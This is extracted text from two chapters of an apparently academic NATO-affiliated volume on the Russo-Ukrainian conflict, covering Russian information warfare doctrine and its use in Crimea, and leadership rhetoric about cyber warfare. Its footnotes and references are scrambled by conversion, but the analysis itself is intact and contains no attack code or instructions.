And it is equally unsurprising that, in the internet era, Moscow has developed effec- tive tactics for waging IW in cyberspace.
This chapter discusses contemporary Russian IW theory and analyses Russian IW activities on the ground in Crimea and in eastern Ukraine.
While the dynamic and diffuse nature of IW makes it difficult to gauge its precise impact, this chap- ter argues that Russian IW in Crimea and in eastern Ukraine has been highly successful, and that the West is currently playing catch up vis--vis Russia in this arena.
1 Vorobyov, I. and Kiseljov, V. Russian Military Theory: Past and Present.
Military Thought 2013 (3).
2 Peter Kenez.
The birth of the propaganda state: Soviet methods of mass mobilization, 1917-1929 (Cambridge University Press, 1995).
3 David M. Glantz.
Surprise and Maskirovka in Contemporary War.
Soviet Army Studies Office, Army Combined Arms Center, Fort Leavenworth KS, 1988).
http://www.dtic.mil/get-tr-doc/pdf?LocationU2docGetTRDoc.pdfADADA216491.
Chapter 10 http://www.dtic.mil/get-tr-doc/pdf?LocationU2docGetTRDoc.pdfADADA216491 88 2 Information Security and Cyber Security in Russian Military Theory In Russian government and academic circles, information is understood to be a form and source of great power.
This was true well before the advent of the internet and cyberspace which have not changed Russian IW strategy, but only its tactics.
In the West, cyber security and information security are considered to be two different things.
In Russia, however, cyber is subordinate to information security, which allows national security planners to oversee both technical data (e.g.
the integrity of password files) and cognitive data (e.g.
political information on web- sites).
Thus, any information found on the World Wide Web could be a missile fired at Russia that is more dangerous than a typical cyber attack as currently under- stood in the West.
The logical consequence of this Russian perspective is to define and to protect the borders of the Russias information space ( ), and this philosophy is to be found easily in Russian doctrines, strategies, and activ- ities both at home and abroad including in Ukraine.
For example, Russias National Security Strategy 2020 states that nationalist, sep- aratist, radical religion is a danger to nation-states, and that a global information struggle is now intensifying.
The document proposes to counter this threat by dis- seminating truthful information to Russian citizens, including via the promotion of native internet platforms encompassing social media.4 As for the importance of cyberspace, numerous official documents describe computer network operations as an integral part of Russian information security, including: Information Security Doc- trine of the Russian Federation,5 Con- ceptual Views Regarding the Activities of the Armed Forces of the Russian Fed- eration in the Information Space,6 and Basic Principles for State Policy of the Russian Federation in the Field of International Information Security.7 Academic discourse within the Russian military is similar.
From a historical per- spective, progress in computer science has wrought a new generation of warfare in which the achievement of information superiority in cyberspace is an essential goal.
Within any desired zone of influence, this includes attacks against and defence of 4 Security Council of the Russian Federation.
2020 .
(
National Security Strategy to 2020) (Moscow, 2009).
5 Security Council of the Russian Federation.
2000.
.
(
In- formation Security Doctrine of the Russian Federation.)
(
Moscow, 2000).
6 Ministry of Defence of the Russian Federation. . (
Conceptual Views Regarding the Activities of the Armed Forces of the Russian Federation in the Information Space) (Moscow, 2011).
7 Security Council of the Russian Federation.
2020 .
(
Basic Principles for State Policy of the Russian Federation in the Field of International Information Security to 2020.)
(
Moscow, 2013).
Information superiority in cyberspace is an essential goal.
89 both technical data and cognitive information, as well as and psychological opera- tions, or PSYOPS.
Maj.
Gen. (R) Ivan Vorobyev and Col. (
R) Valery Kiselyov have written that information is not just an addition to firepower, attack, manoeuvre, but trans- forms and unites all of these.8 Col. (
R) Sergei Chekinov and Lt.
Gen. (R) Sergei Bogdanov go even further: Today the means of information influence reached such perfection that they can tackle strategic tasks.9 Checkinov and Bogdanov point out in the aftermath of the annexation of Crimea and the current destabilisation of Ukraine that information can be used to disorganise governance, organise anti-government protests, delude adversaries, influence public opinion, and reduce an opponents will to resist.
Furthermore, it is critical that such activities begin prior to the onset of traditional military opera- tions.10 At least since Soviet times, Russia considers itself to be a victim of IW, engaged in a battle between the historical Russian world (of which Ukraine is a part) and the West where the US is its principal antagonist.11 Professor Igor Panarin has described a first information war during the Cold War that resulted in the demise of the Soviet Union.
Today, he sees an Operation ANTI-PUTIN modelled on an earlier Opera- tion ANTI-STALIN.
He contends that Western IW was behind both the Arab Spring12 and Euromaidan, and that WikiLeaks Julian Assange is an agent of the British MI6.13 Panarin believes there is a second information war taking place against countries such as Russia and Syria which began at least by the time of the Russo-Georgian war in 2008.14 Russian President Vladimir Putin has characterised the rift between Russia and the West as an incompatibility of values ( ).15 Panarin is far from being the only contemporary Russian military thinker argu- ing this line.
A group of five authors recently wrote in Russias Military Thought that The NATO countries led by the US have set up a powerful information opera- tions (IO) system and are going on expanding and improving it.16 8 Vorobyov and Kiseljov Russian Military Theory: Past and Present.
Military Thought, 2013 (3).
9 Sergei G. Checkinov and Sergei A. Bogdanov.
Asymmetrical Actions to Maintain Russias Military Security.
Military Thought, 2010 (1).
10 Sergei G. Checkinov and Sergei A. Bogdanov.
|
88
|
The Art of War in the Early 21st Century: Issues and Opinions.
| 21,388
| 21,425
| 38
|
data/reports_final/0088.txt
|
The Art of War in the Early 21st Century: Issues and Opinions.
Military Thought, 2015 (24).
11 Igor Panarin.
.
(
Information warfare and communications.
).
Moskva, Russia: Goryachaya Liniya Telekom, 2014a.
12 Ibid.
13 Igor Panarin.
Posting on Facebook , 29 June, 2014b.
http://www.facebook.com/permalink.php?story_fbid487886764691548 id100004106865632frefts.
Accessed 19 December, 2014.
14 Igor Panarin.
2014a.
15 Vladimir Putin.
.
(
Putin to defend traditional family values).
Vesti, 12 December, 2013a.
http://www.vesti.ru/doc.html?id1166423 Vladimir Putin.
(
Our values unite us as peoples.
Speech in Kyiv 27.07.2013.
).
YouTube, 2013b.
https://www.youtube.com/ watch?vYW1WYh_gvJg Accessed 20 December 2014.
16 Dylevski, I.N., Elyas, V.P., Komov, S.A., Petrunin, A.N.
Zapivakhin V.O.Political and Military Aspects of the Russian Feder- ations State Policy on International Information Security.
Military Thought, 2015 (24).
Information can disorganise governance, delude adversar- ies and reduce an opponents will to resist.
http://www.facebook.com/permalink.php?story_fbid487886764691548id100004106865632frefts http://www.facebook.com/permalink.php?story_fbid487886764691548id100004106865632frefts http://www.vesti.ru/doc.html?id1166423 https://www.youtube.com/watch?vYW1WYh_gvJg https://www.youtube.com/watch?vYW1WYh_gvJg 90 Even Russia, however, is not a monolith.17 Some military scholars have criticised the prevailing view and have suggested that a distinction should be drawn between attacks on technical and cognitive data, detailing a technospheric war largely cor- responding to the Western perception of cyber war.18 Similarly, a publicly available draft of the next Cyber Security Strategy of the Russian Federation problematises the difference between the Russian and the Western views on the matter, suggesting that cyber security and information security be treated as distinct challenges.
However, to date these remain unimplemented proposals.
3 Russian IW in Crimea and Novorossiya19 Russian IW in Ukraine began well before the current conflict.
The Security Services of Ukraine (SBU) warned that its government officials had been targeted by Russian espionage malware (variously called Snake, Uroboros or Turla) since 2010.20,21,22 Successful cyber espionage can have a strategic impact.
In a military context, it can be directly linked to a desire to gain information superiority on the battlefield,23 and can sometimes be easy to associate with ongoing military operations.24 In Crimea, just as soon as insignia-less armed fighters appeared on the scene (the same dynamic later occurred in east- ern Ukraine), Russian media referred to them as friendly people who were good to civilians,25 while the Ukrainian side called them the little green men from Russia.
For weeks, Vladimir Putin26 and 17 Balybin, C., Donskov, Yu.
and Boyko A.
|
89
|
Future soldiers: The friendly mens equipment in Crimea.
| 21,455
| 21,500
| 46
|
data/reports_final/0089.txt
|
Future soldiers: The friendly mens equipment in Crimea.
).
Forbes, 7 March 2014.
http://m.forbes.ru/article.php?id251676.
26 Vladimir Putin.
:
.
.
(
Putin: There are no Russian soldiers.
This is Crimeas popular defense.
).
YouTube, 2014b.
https://www.youtube.com/watch?vqzKm7uxK8ws.
Accessed 20 Decem- ber 2014.
The course of events was enveloped in a sophisticated effort to control the flow of information.
http://www.sbu.gov.ua/sbu/control/uk/publish/article?art_id132039cat_id39574 http://www.infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/ http://www.infosecurity-magazine.com/news/snake-cyber-espionage-campaign-targetting-ukraine/ http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats http://www.symantec.com/connect/blogs/turla-spying-tool-targets-governments-and-diplomats http://www.atlanticcouncil.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine http://www.atlanticcouncil.org/blogs/new-atlanticist/russia-has-complete-informational-dominance-in-ukraine https://lgscout.com/wp-content/uploads/2015/04/Operation_Armageddon_FINAL.pdf http://m.forbes.ru/article.php?id251676 https://www.youtube.com/watch?vqzKm7uxK8ws 91 Russian Defence Minister Sergei Shoigu27 denied the participation of Russian troops in the Crimea takeover even though Ukrainian troops on the peninsula were forced into a quick, large-scale surrender.2829 In warfare, there has always been a tight relationship between IW and traditional military operations.
In Crimea, the entire course of events from the takeover of the Simferopol parliament to the disputed referendum and the Russian annexation of Crimea was enveloped in a sophisticated effort to control the flow of informa- tion.
Russian IW extended across the entire spectrum of communication in both the cyber and non-cyber domains, targeting its physical, logical, and social layers.
In early March, Ukrtelecom reported kinetically damaged fiber-optic trunk cables, as well as the temporary seizure of its companys offices.
Further disclosures detailed the jamming of Ukrainian naval communications.30 SBU Chief Valentyn Nalyvaic- henko declared that Ukrainian government officials mobile communications were subjected to an IP-telephonic attack.31 And on the World Wide Web, government sites and news portals suffered Distributed Denial of Service (DDoS) attacks and deface- ments all of which contributed to a significant information blackout.32,33 The hacktivist group Cyberberkut34 has repeatedly claimed to have gained access to telephone recordings and e-mail correspondence between Ukrainian, European Union (EU) and US officials and released some content to prove it.
Cyberberkut also allegedly attacked the Ukrainian electronic voting system and defaced several NATO websites.35 The importance of gaining information superiority in warfare can be seen in how much time and resources have been spent in creating official, semi-official, and unofficial sources of war-related information, including dedicated channels on YouTube.36 The success of IW is hard to gauge, but these attacks likely made it more difficult for Kyiv to gain a clear picture of what was happening in Crimea which in turn presumably hampered its decision-making process.
Even unsophisticated cyber attacks tend to generate significant media attention, and as a bonus can sow general distrust in systems and their security architecture.37 27 Sergey Shoigy.
2014.
: .
(
Shoigu on Russian military in Crimea: nonsense and provocation).
BBC Russkaya Sluzhba, 5 March 2014.
http://www.bbc.co.uk/russian/russia/2014/03/140305_ crimea_troops_shoigu.
28 Yuzhniy Kurier.
.
.
(
The End.
Ukrainian soldiers in Crimea surrender.
).
Yuzhniy Kurier, March 19, 2014.
http://courier.crimea.ua/news/courier/vlast/1146781.html.
29 CNN.
.
(
Ukrainian troops surrender to Crimean self-defence forces.
).
edited by RT, 19 March 2014.
http://russian.rt.com/inotv/2014-03-19/CNN-Ukrainskie-vojska-v-Krimu.
30 Tim Maurer and Scott Janz.
|
90
|
Database query: .
| 21,520
| 21,555
| 36
|
data/reports_final/0090.txt
|
Database query: .
Accessed 13 December 2014.
37 Tim Maurer and Scott Janz.
The Russia-Ukraine Conflict: Cyber and Information Warfare in a Regional Context.
http://www.bbc.co.uk/russian/russia/2014/03/140305_crimea_troops_shoigu http://www.bbc.co.uk/russian/russia/2014/03/140305_crimea_troops_shoigu http://courier.crimea.ua/news/courier/vlast/1146781.html http://russian.rt.com/inotv/2014-03-19/CNN-Ukrainskie-vojska-v-Krimu http://www.isn.ethz.ch/Digital-Library/Articles/Detail/?id184345 http://resources.infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/ http://resources.infosecinstitute.com/crimea-russian-cyber-strategy-hit-ukraine/ http://www.icds.ee/et/blogi/artikkel/is-all-quiet-on-the-cyber-front-in-the-ukrainian-crisis/ http://cyber-berkut.org/en 92 Ukrainian military commentator Dmitry Tymchuk, speaking on behalf of the Information Resistance group,38 accused the interim government in Kyiv of lacking clarity and moving too slowly,39 and Ukrainian parliament (Verhovna Rada) mem- ber Gennady Moskal complained that Ukrainian troops had not received permis- sion to use their weapons in time.40 Today, the war in eastern Ukraine can also be described as a hall of IW smoke and mirrors.
On 17 April, 2014, Vladimir Putin referred to the south-eastern part of Ukraine as Novorossiya, and a similarly named confederation was formally created on May 24, 2014.41 However, an analysis of web data shows that cyber preparations were made prior to this announcement: Novorossiya websites such as novorus.info and novorossia.su were registered with who.is in March 2014, and the official websites of the Peoples Republics of Donetsk and Lugansk were registered before the entities came into being.42 Finally, Moscow has consistently denied that its military personnel are engaged in Ukraine, but web-based studies have found evidence of their deployments to Ukraine43 as well as their involve- ment in the crash of the Malaysian Airlines flight 17,44 via social media and imag- ery analysis.45 4 The Unique Characteristics of Russian IW The Russian political narrative aimed at both domestic and foreign audiences describes a Russian World ( ), Russian values, and even a Russian soul.
The narratives articulation begins at the very top, in the person of Vladimir Putin, and flows downward in a pyramidal fashion through traditional media and cyberspace all the down to the grassroots level.
It targets not just Russian citizens but the entire Russian-speaking population of planet Earth.
Beyond that, it is expected that the narratives influence will organically spread outside the diaspora.
The basic storyline is easy to comprehend and to convey, and is intended to be become a foundation for the interpretation of current and future world events.
In this narrative, Russia is a misunderstood and misjudged superpower, and a neces- sary counterweight to Western liberal values.
By contrast, the West has experienced 38 Information Resistance is, according to its own description on http://sprotyv.info/en/about-us, a non-governmental project that aims to counteract external threats to the informational space of Ukraine.
The group provides operational data and analyt- ics.
As one of the projects front figures, Dmitry Tymchuk has provided analysis to, amongst others, Kyiv Post and Huffington Post.
39 Dimitro Tymchuk.
(On betrayal).
Gazeta.ua, March 2014.
http://gazeta.ua/ru/blog/42707/o-predatelstve.
40 Yuzhniy Kurier.
.
.
(
The End.
Ukrainian soldiers in Crimea surrender.
).
Yuzhniy Kurier, 19 March 2014.
http://courier.crimea.ua/news/courier/vlast/1146781.html.
41 Vladimir Putin.
.
Phone-in with Vladimir Putin.
(
Transcript).
17 April 2014.
http:// kremlin.ru/news/20796.
42 See who.is listings for novorus.info (http://who.is/whois/novorus.info), novorossia.su (http://who.is/whois/novorossia.su) 43 Selfie Soldiers: Russia Checks in to Ukraine.
Vice News, 16 June, 2015.
|
91
|
Russian Protest On-and Offline: The role of social media in the Moscow opposition demonstrations in De- cember 2011.
| 21,581
| 21,769
| 189
|
data/reports_final/0091.txt
|
Russian Protest On-and Offline: The role of social media in the Moscow opposition demonstrations in De- cember 2011.
UPI FIIA Briefing Papers 98, 2012.
new IW opportunities, even as defenders also have more tools and tactics at their disposal to counter hostile actions.
In Ukraine, con- ventional cyber attacks by Russia were neg- ligible,47 but social media-based, narrative-fo- cused attacks including disinformation have been common.
And while it is possible to counter adversary operations with accurate open source analysis (for journalists,48 scholars, and activists49), this is unfortunately difficult to do in a timely manner.
47 However, even unsophisticated cyber attacks such as DDoS and website defacements tend to garner widespread media ex- posure, and can sow distrust in the security of systems.
This occurred during the invasion of Crimea, when Russia sought to capitalise on events that unfolded far too quickly for methodical information analysis to take place.
48 Jessikka Aro.
Yle Kioski Investigated: This is How Pro-Russia Trolls Manipulate Finns Online Check the List of Forums Favored by Propagandists.
YLE Kioski, 24 June 2015.
http://kioski.yle.fi/omat/troll-piece-2-english.
49 Sites such as www.stopfake.org were launched inviting people to join the struggle against fake information about events in Ukraine by verifying online allegations.
Stopfake.org.
2015.
Accessed: 14 June 2015.
http://www.stopfake.org Bellingcat kontert Kritik mit neuen Satellitenbildern.
Zeit Online.
12 June 2015.
www.zeit.de/politik/ausland/2015-06/bellingcat-russ- land-mh17-satellitenfotos-manipulation Dmitry Volchek and Claire Bigg.
Ukrainian bloggers use social media to track Rus- sian soldiers fighting in east.
The Guardian, 3 June 2015.
http://www.theguardian.com/world/2015/jun/03/bloggers-social- media-russian-soldiers-fighting-in-ukraine.
In sum, the traditional fog of war has changed in the internet era.
http://kioski.yle.fi/omat/troll-piece-2-english http://www.stopfake.org http://www.zeit.de/politik/ausland/2015-06/bellingcat-russland-mh17-satellitenfotos-manipulation http://www.zeit.de/politik/ausland/2015-06/bellingcat-russland-mh17-satellitenfotos-manipulation http://www.theguardian.com/world/2015/jun/03/bloggers-social-media-russian-soldiers-fighting-in-ukraine http://www.theguardian.com/world/2015/jun/03/bloggers-social-media-russian-soldiers-fighting-in-ukraine 95 Missing in Action: Rhetoric on Cyber Warfare Liisa Past NATO CCD COE 1 Introduction In the Russo-Ukrainian conflict, there has been much talk of hybrid warfare, encompassing every aspect of war including cyber operations.
Much of cyber operations is classified and hidden from public view, but there are numerous ways in which information becomes known, including via intelligence leaks and open source analysis.
This chapter focuses on leadership communications and what they can tell us about conflict in cyberspace.
In geopolitics, heads of state are the ultimate decision-makers, especially during a national security crisis.
Leaders are expected to show rhetorical as well as execu- tive leadership.
The media takes it from there, but the public still struggles to find a consistent evaluation, primarily relying on experts and opinion leaders.1 As the head of state seeks his or her rally around the president moment,2 domestic and international observers analyse their explanations and emotions as well as their proffered initiatives and guidance.3 From a national podium, heads of state have an inherent advantage, as their arguments are more likely to resonate with the public than the opinions of leaders voicing a more local outlook.4 Communication and discourse analysis in international affairs rests on the idea that language cannot be taken at face value.
Words carry definitional meaning, but dif- 1 Timothy E Cook.
Governing with the News (Chicago and London: University of Chicago Press, 1998).
2 Birgitte Lebens Nacos.
Terrorism and the Media: From the Iran Hostage Crisis to the Oklahoma City Bombing (New York: Co- lumbia University Press, 1996).
3 Jeffrey E Cohen.
Presidential Responsiveness and Public Policy-Making, The Public and the Policies That Presidents Choose (Ann Arbor: The University of Michigan Press, 1997).
4 Ibid, 32.
Chapter 11 96 ferent audiences will perceive them differently.
Critical analysis can yield insight into the true beliefs and motivations of any speaker, including policy-makers.
Meaning is mediated through language5 and all words have social values6 that vary with context.
This chapter analyses Russian and Ukrainian leadership statements, speeches, press releases and other rhetoric from 2014 and 2015, especially the English-lan- guage elements, written for a global audience and printed in international media.
The author also searched major international news outlets for the keywords Ukraine, Russia, cyber, and information warfare.
In all cases, focus remained on the rhetoric attributable to a head of state or other high-level political player,7 with an eye toward uncovering their underlying motivations, beliefs, and ideologies.
2 Analytical Focus This analysis is designed to yield insight into numerous areas of international con- cern.
Above all, the world would like to understand more about the emerging threat of cyber warfare.
New developments in research and technology, as well as in the means and methods of war, are usually far ahead of their codification in doctrine.
Computer network operations fit nicely within the concept of hybrid warfare that has been so characteristic of the Russo-Ukrainian conflict.
Cyber attacks are similar to covert operations, information operations, denial and deception, false flag and no-flag attacks: they give national command and con- trol structures some degree of plausible deni- ability.
These aspects of war tend to be highly classified therefore, an analysis of political rhet- oric may yield significant insight into what poli- ticians, soldiers and spies simply cannot discuss in public forums, namely, one of the most vex- ing challenges of cyber attacks: attribution.
Political leaders must appeal to the hearts and minds of their domestic and international audiences, with the help of emotional and sometimes long-winded speeches.
National security establishments must provide legal support for their actions through the release of press statements and promulgation of doctrine.
With these in hand, analysts may be able to understand much more about the other- wise covert nature of cyber attacks.
In 2015, Russia has a fairly well-developed mil- itary doctrine on cyber and information warfare, while that of Ukraine is still in its infancy.
This analysis offers a deeper understanding of each nations non-explicit political objectives related to cyber warfare.
5 Henrik Larsen.
Foreign Policy and Discourse Analysis: France, Britain and Europe (London: Routledge advances in Internation- al Relations and Politics, 1997), 11.
6 Ibid, 14.
7 Unfortunately, on the current President of Ukraine website, documents and speeches by former Ukrainian President Viktor Yanukovych cannot be found.
An analysis of political rhetoric may yield signif- icant insight into what politicians cannot dis- cuss in public forums.
97 3 Russia Since the turn of the century, Russia has been publicly admiring European values while simultaneously emphasising sovereignty and a strong national defence.8 Mos- cow insists that each nation in the region should be given a right to experiment with its own democratic model that fits its national and international conditions.9 This tension may only grow stronger with time, and we may see further Russian moves away from shared values in the future as Moscow confronts not only Ukraine but also the West more generally, including in Syria.
Regarding Ukraine, Russia insists it is a bystander and even a victim.
Putin said, There are still many threats andchallenges intheworld today.
Asyou may know, inEurope, militant nationalism is raising its head here andthere theone that once led totheappearance oftheNazi ideology.
Iwill not dwell oneach ofthehotspots separately we all know where the danger is.
Incidentally, the situation in our neighbouring brotherly Ukraine is anexample ofthedisaster andloss such anirre- sponsible policy can bring about.10 In explaining Gazproms tough stance vis--vis Ukraine, for example, Putin has argued that there was no other choice but to take a hard line against Kyiv,11 again placing Russia as a bystander, not an active party.
Putin has consistently delegitimised Poroshenkos government: There can only be one assessment: this was ananti-constitutional takeover, anarmed seizure ofpower [that] significantly destabilised theeast andsouth- east of Ukraine [] we see the rampage of reactionary forces, nationalist andanti-Semitic forces going onincertain parts ofUkraine, including Kyiv [] Are thecurrent authorities legitimate?
TheParliament is partially, but all theothers are not.
Thecurrent Acting President is definitely not legitimate [] one set ofthieves [is] being replaced byanother.
[]
We will not fight with theUkrainian people [but] Ido not have apartner atthetop level there.12 Throughout the Ukraine crisis which began in 2014, Vladimir Putin has not once used the word cyber.
This does not signify a lack of interest in the subject, or that Russia has not engaged in computer network operations, but it does demonstrate a preference not to discuss the issue, which in turn likely means that cyber warfare as a distinct form of attack, from 8 Andrei P. Tsygankov.
Russias Foreign Policy: Change and Continuity in National Identity (Rowman Littlefield Publishers, 2013), 181.
9 Ibid.
10 Meeting with Presidents of Armenia, Belarus, Kyrgyzstan and Tajikistan Website of the President of Russia, 8 May 2014), http://en.kremlin.ru/events/president/news/20980.
11 Message to the leaders of European countries regarding the supply and transit of Russian gas across the territory of Ukraine Website of the President of Russia, 15 May 2014, http://en.kremlin.ru/events/president/news/page/82.
12 Vladimir Putin answered journalists questions on the situation in Ukraine Website of the President of Russia 3 April 2014), http://en.kremlin.ru/events/president/news/20366.
Throughout the Ukraine cri- sis, Vladimir Putin has not once used the word cyber.
98 Russias perspective, has not played a major role in the Ukraine conflict.
There have been some commercial reports alleging specific Russian cyber attacks, such as that by the security firm FireEye,13 but these are typically dismissed as Western propa- ganda.
According to Kremlin spokesman Dmitry Peskov, We know that blaming Russia for everything has turned into a sport.14 Putin did refer to the stories about phone hacking and surveillance of top politi- cians, which were prominent in the news in 2014: As for the facts of cyber espionage that you mentioned, it not only amounts to overt hypocrisy in relationships between allies and partners, but also a direct violation of the states sovereignty, an infringement on human rights and an invasion of privacy.
We are looking forward to jointly developing an interna- tional information security system.15 This quote may indicate an underlying assumption of Russian doctrine: today, everyone is spying on everyone, there are currently no acceptable international laws to govern such activities in cyberspace, and Russia must be a part of any credible effort to develop such norms.
Although Russia claims not to be directly involved in the Ukraine conflict, Mos- cow still wants to direct its peace-making efforts.
Putin has championed a consid- eration of Ukraines eastern regions16 has produced a diplomatic solution called the Putin Plan17 and gave the instruction to hold consultations with foreign partners, including the IMF and the G8 countries, on organising financial assistance for Ukraine.18 4 Ukraine Many of these quotes came from the President of Russias website, and are directly attributable to Vladimir Putin.
However, most of the conflict-related quotes in this section from the President of Ukraines website are from news articles and press releases that quote Ukrainian President Petro Poroshenko.
Unlike on the Russian site, full-length Ukrainian speeches are a smaller proportion of the presidential communications.
That said, Ukraine has been much clearer than Russia in identify- 13 APT28 A Window Into Russias Cyber Espionage Operations?
FireEye, https://www2.fireeye.com/apt28.html.
14 Owen Matthews.
Russia leading the way in the cyber arms race, Irish Examiner, 13 June 2015, http://www.irishexaminer.com/ lifestyle/features/big-read-russia-leading-the-way-in-the-cyber-arms-race-336675.html.
15 Interview to Prensa Latina and ITAR-TASS Website of the President of Russia, 11 July 2014, http://en.kremlin.ru/events/ president/news/46190.
16 On the start of contacts with Ukraines Choice public movement in Donetsk and Lugansk Website of the President of Russia, 22 June 2014, http://en.kremlin.ru/events/president/news.
17 The Putin Plan for settling the conflict in Ukraine Website of the President of Russia, 3 September 2014, http://en.kremlin.
ru/events/president/news/46554.
18 Instructions regarding the situation in Ukraine Website of the President of Russia, 27 February 2014, http://en.kremlin.ru/ events/president/news/20347.
99 ing cyberspace as a separate and active domain of conflict.
Various terms have been used, such as cyber security,19 informational cyber-security system of Ukraine,20 and cyber and informa- tion security.21 These terms may refer to slightly different things at different times, but in general, there was more cyber war- fare-related content to analyse.
From the beginning of the conflict, Ukraine has suffered a variety of network attacks.
In February 2014, the Ukrainian telecommunications firm Ukrtelecom reported that unknown people22 had damaged a fibre backbone cable that resulted in the loss of communication between Crimea and the rest of Ukraine.
Not long after, Ukrainian security chief Valentyn Nalivaichenko announced, I confirm that an ... attack is under way on mobile phones of members of the Ukrainian parlia- ment for the second day in a row.23 The most sophisticated attack came against the Ukrainian Central Election Commission (CEC) during Ukraines Presidential elec- tions.24 However, there was no official attribution for any of these attacks provided by the government in Kyiv.
There were at least two cases of cyber attack attribution, both to Russia.
The Security Service of Ukraine linked the disruption of mobile communications and the defacement of websites to pro-Russian hackers and to pro-Russian forces in Crimea.
There was no direct link made to Moscow, perhaps in part because the IP-telephonic attack was aimed at top Ukrainian politicians irrespective of their political allegiance.25 On another occasion, when the hacktivist group CyberBerkut claimed responsibility for an attack on German government websites, Ukrainian Prime Minister Arseny Yatseniuk placed the blame on Russian intelligence: I strongly recommend that the Russian secret services stop spending taxpayer money for cyberattacks against the Bundestag and Chancellor Merkels office.26 In the case of downed Malaysian airliner MH17, which Poroshenko called ter- rorism,27 the President stated that The State Security Service of Ukraine has inter- 19 President met with U.S. Congress delegation, Office of the President of Ukraine, 6 August 2014 http://www.president.gov.ua/ en/news/prezident-zustrivsya-z-delegaciyeyu-kongresu-ssha-35766.
20 NSDC decision: Ukraine asks the UN, NATO, EU, OSCE and strategic partners for help, Office of the President of Ukraine, 28 August 2014, http://www.president.gov.ua/en/news/ukrayina-zvertayetsya-za-dopomogoyu-do-oon-nato-yes-ob- sye-de-33573.
21 Presidents of Ukraine and Lithuania have held the Seventh session of the Council of Presidents Office of the President of Ukraine, 24 November 2014.
http://www.president.gov.ua/en/news/prezidenti-ukrayini-i-litvi-proveli-some-zasidannya-ra- di-pre-34105.
22 Ukrtelecom.
Ukrtelecoms Crimean sub-branches officially report that unknown people have seized several telecommunica- tions nodes in the Crimea, 28 February 2014, http://en.ukrtelecom.ua/about/news?id120467.
23 Dave Lee.
Russia and Ukraine in cyber stand-off , BBC News, 5 March 2014 http://www.bbc.com/news/technology-26447200.
24 SRK/NN/SS, Hackers attack Ukraine election website, PressTV, 25 October 2014, http://www.presstv.com/de- tail/2014/10/25/383623/ukraines-election-website-hacked.
25 Max Smolaks.
Security Service Of Ukraine Claims Politicians Phones Are Under Attack, TechWeek Europe, 4 March 2014, http://www.techweekeurope.co.uk/workspace/security-service-ukraine-claims-politicians-phones-attack-140643.
26 Erik Kirscbaum.
Ukraine says Russia behind cyber attack on German government, Reuters, 8 January 2015, http://www.
reuters.com/article/2015/01/08/us-germany-cyberattack-idUSKBN0KH0IY20150108.
27 Address of the President on the occasion of the crash of Malaysia Airlines aircraft, Office of the President of Ukraine, 18 July 2014, http://www.president.gov.ua/en/news/zvernennya-prezidenta-z-privodu-tragediyi-z-litakom-aviakomp-33262.
Ukraine has been much clearer than Russia in identi- fying cyberspace as a separate and active domain of conflict.
100 cepted a conversation in which one of the leaders of the mercenaries boasted about bringing down the plane in his reporting to his Russian supervisor, a colonel of the General Intelligence Unit of Russias Armed Forces28 and terrorists have already declared their desire to hide the evidence and transport the aircrafts black boxes to Moscow.29 In eastern Ukraine, Poroshenko contends that the separatist movement is fully controlled by Russian leadership30 and even in government-controlled territory, he announced that [t]he Security Service of Ukraine unmasked and neutralised the terrorist group coordinated by special forces of the Russian Federation.31 To international audiences, Poroshenko has focused primarily on the broader topic of hybrid warfare, taking care to fit within the narratives and terminology of the West.
At the 2015 Munich Security Conference, he said that [f]or over a year Ukraine has been facing dramatic conse- quences of an undeclared hybrid warfare.
It is very important that the states in the region devote more attention to hybrid threats.
[]
Today, a former strategic partner is waging a hybrid war against a sovereign state, a co-founder of the United Nations.
Mounds of lies and propaganda have been heaped into a wall of hatred, erected between two once friendly nations.32 While analysts have yet to agree on a common definition of hybrid warfare, it certainly encompasses Internet-based pro- paganda, information operations, and computer hacking.
Looking toward the future, Poroshenko has positioned himself as a President of Peace33 on the forefront of the global fight for democracy.34 Russia is the clear antag- onist: all military threats and challenges are related to Russia,35 and Moscows war has brought Ukraine to the brink of its survival.36 Poroshenko argues that not just Ukraine, but the whole world needs a resolution to this conflict,37 and that democ- racies must support each other.38 Ultimately, Ukraines national security goal is full 28 Ibid.
29 Ibid.
30 Presidents statement on ceasefire from February 15, Office of the President of Ukraine, 15 February 2015, http://www.presi- dent.gov.ua/en/news/zayava-prezidenta-pro-pripinennya-vognyu-z-0000-15-lyutogo-34723.
31 Head of the Security Service of Ukraine reports to the President: Terrorist group coordinated by Russian special forces was neutralized, Office of the President of Ukraine, 16 August 2014, http://www.president.gov.ua/en/news/zneshkodzheno-teror- istichnu-grupu-yaku-koordinuvali-specsluz-33478.
32 Speech by President of Ukraine Petro Poroshenko at the Munich Security conference, Office of the President of Ukraine, 7 Feb- ruary 2015, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-myunhenskij-k-34663.
33 Petro Poroshenko.
Speech by President of Ukraine Petro Poroshenko at the Munich Security Conference 2015.
34 Petro Poroshenko.
Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress, 18 September 2014, http://www.president.gov.ua/en/news/vistup-prezidenta-ukrayini-petra-poroshenka-na-spilnij-sesiy-33718.
35 President: New Military Doctrine is based on the duration of threat from Russia and demands full compatibility of the Armed Forces with NATO standards, Office of the President of Ukraine, 2 September 2015, http://www.president.gov.ua/en/news/ nova-voyenna-doktrina-vihodit-z-trivalosti-zagrozi-z-boku-ro-35907.
36 Ibid.
37 Petro Poroshenko.
Presidents statement on ceasefire from February 15 2015.
38 Petro Poroshenko.
Address by the President of Ukraine Petro Poroshenko to the Joint Session of the United States Congress 2014.
To international audiences, Poroshenko has focused pri- marily on the broader topic of hybrid warfare.
101 NATO membership.39 The President asserted that Ukraine is not a NATO member now.
Unfortunately, we are not allies de jure.
Yet, de facto we are more than just partners Ukraine is the eastern outpost of Euro-Atlantic civilisation, which is now defending not only sovereignty, territorial integrity and independence of our country.40 5 The Role of Non-state Actors In the cyber domain, non-state, sometimes anonymous actors can play a significant role in any conflict.
During the Ukraine crisis, numerous groups such as Cyber- Berkut have positioned themselves as independent, Internet-based guerrillas, and to some degree they have influenced the course of events.
In general, there is too little public information available for analysts to determine if any of these non-state actors has a direct or indirect government connection.
In Ukraine, one of the most prominent non-state cyber leaders is Eugene Dokunin, who describes himself as a lone wolf waging a furious battle against the thousands of paid hackers and trolls in Russia.41 Whereas governments may not boast about their achievements, rogue actors do.
